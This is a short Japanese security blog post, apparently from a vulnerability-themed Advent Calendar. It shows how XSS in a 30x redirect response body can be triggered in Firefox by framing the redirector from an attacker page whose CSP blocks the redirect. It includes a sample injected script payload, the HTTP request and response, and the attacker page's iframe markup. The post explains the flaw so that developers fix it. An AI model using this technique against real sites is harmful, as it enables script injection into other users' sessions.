30xリダイレクトのレスポンスボディでもXSS(その2)

この記事は 「脆弱性"&'<<>\ Advent Calendar 2016」11日目の記事です。昨日のネタの続きです。

昨日は30x応答のレスポンスボディを表示させるために21/tcpなどへのポートへリダイレクトさせるという方法を紹介しました。Firefoxではレスポンスボディを表示させるそれ以外の方法として、CSPを使うという方法があります。

リダイレクタが設置されているサイトが http://page1.example.jp/、リダイレクト先が http://page2.example.jp/ だったとします。

GET /redir?q=http://page2.example.jp/?"><script>alert(1)</script> HTTP/1.1
Host: page1.example.jp ← リダイレクト先と異なるオリジン

HTTP/1.1 301 Moved Permanently
Location: http://page2.example.jp/?"><script>alert(1)</script> 
Content-Type: text/html; charset=utf-8


document has moved to 
  <a href="http://page2.example.jp/?"><script>alert(1)</script>">here</a> ← 表示されない・実行されない

攻撃者は、わなサイト(たとえば http://evil.example.com/) 上に Content-Security-Policy を指定したうえで iframe でリダイレクタページを埋め込みます。

Content-Type: text/html;charset=utf-8
Content-Security-Policy: frame-src http://page1.example.jp← CSPでフレーム内のコンテンツとしてpage1のみを許可

<html>
<body>
  <iframe src="http://page1.example.jp/redir?q=http://page2.example.jp/?&quot;><script>alert(1)</script>"></iframe>
</iframe>

攻撃者のサイト上ではCSPによりframeとして表示可能なコンテンツがhttp://page1.example.jp/上のリソースに制限されており、iframe内ではpage1.example.jpを読み込んだ時点でpage2.example.jpへのリダイレクトが発生しますが、リダイレクトはCSPにより失敗し、結果としてpage1.example.jpのレスポンスボディが表示され、page1.example.jp上でのXSSが成立します。

というわけで、昨日に引き続き30x応答のレスポンスボディでもXSSを成立させるための方法を紹介しました。このように、30x応答でもXSSが存在していた場合には攻撃を成立させることができますので30xだからと油断せずにきちんと対策が必要です。
なお、昨日および本日の「30xリダイレクトのレスポンスボディでもXSS」ネタは、sec-testing.slack.comで教わりました。sec-testing.slack.comへの参加はhttp://slackin.csrf.jp/ からどうぞ!